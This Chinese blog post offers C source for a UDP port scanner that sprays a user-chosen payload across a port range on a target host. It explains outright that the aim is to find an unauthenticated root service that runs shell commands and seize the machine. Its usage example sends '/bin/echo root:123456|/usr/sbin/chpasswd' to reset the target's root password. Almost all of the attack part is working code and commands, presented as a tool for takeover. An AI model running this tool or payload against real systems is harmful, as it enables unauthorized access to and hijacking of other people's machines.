UDP端口扫描

2014/10/1013:53:19 发表评论

      遍历指定端口进行扫描,并发送指定UDP报文,有些系统中,如果做了某个服务用于接收shell命令并执行,并且没有任何数据协议加密,同时是以root用户运行的,那么你发送一个修改root密码的命令过去,这台主机就是你的了。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>

int send_udp_to_host(int sock,char *ip,unsigned int port,char *content)
{
        int ret;
        fd_set readfd;
        struct timeval timeout;

        struct sockaddr_in toAddr;
        //在recvfrom中使用的对方主机地址
        struct sockaddr_in fromAddr;
        unsigned int fromLen;
        char recvBuffer[1024];
        memset(&toAddr,0,sizeof(toAddr));
        toAddr.sin_family=AF_INET;
        toAddr.sin_addr.s_addr=inet_addr(ip);
        toAddr.sin_port = htons(port);

        if(sendto(sock,content,strlen(content),0,(struct sockaddr*)&toAddr,sizeof(toAddr)) != strlen(content))
        {
                printf("sendto() 函数使用失败了.\n");
                return (-1);
        }
        timeout.tv_sec=0;
        timeout.tv_usec=5000;
        FD_ZERO(&readfd);
        FD_SET(sock,&readfd);
        ret=select(sock+1,&readfd,NULL,NULL,&timeout);
        if(ret)
        {
                if(FD_ISSET(sock,&readfd))
                {
                        fromLen = sizeof(fromAddr);
                        if(recvfrom(sock,recvBuffer,1024,0,(struct sockaddr*)&fromAddr,&fromLen)<0)
                        {
                                printf("recvfrom()函数使用失败了.\r\n");
                                return (-1);
                        }
                        printf("IP:[%s] PORT:[%d] result:[%s]\n",ip,port,recvBuffer);
                }
        }
        return 0;
}

int main(int argc, char *argv[])
{
        if(argc != 5)
        {
                printf("%s [ip] [begin port] [end port] [content]\n",argv[0]);
                exit(0);
        }
        int sock;
        unsigned int index = 0;
        unsigned int begin_port =atoi(argv[2]);
        unsigned int end_port = atoi(argv[3]);
        //sendto中使用的对方地址

        if(begin_port<1 || end_port > 65536 || end_port < begin_port)
        {
                printf("端口范围错误!\n");
                return -1;
        }
        sock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
        if(sock < 0)
        {
                printf("创建套接字失败了.\r\n");
                return (-1);
        }
        for(index=begin_port; index<=end_port; index++)
        {
                //printf("开始扫描端口%d\n",index);
                send_udp_to_host(sock,argv[1],index,argv[4]);
                /*
                //printf("开始扫描端口%d\n",index);
                pid_t pid;
                pid = fork();
                if(pid<0)
                {
                        perror("fork error!\n");
                        return -1;
                }
                else if(pid == 0)
                {
                        send_udp_to_host(sock,argv[1],index,argv[4]);
                }
                else
                {
                        exit(1);//parent
                }
                */
        }
        printf("发送完成!\n");
        close(sock);
        return 0;
}

代码写的比较随意,如果不考虑收包的情况,可以把接收部分的代码去掉。

编译:gcc udp_scan.c -o udp_scan

运行:./udp_scan 192.168.0.1 30000 36533 "/bin/echo  root:123456|/usr/sbin/chpasswd

其中192.168.0.1为对方主机IP,30000为起始扫描端口,36533为结束扫描端口,后面引号中为修改root密码的命令。

  • 微信扫码赞助
  • weinxin
  • 支付宝赞助
  • weinxin

发表评论

您必须才能发表评论!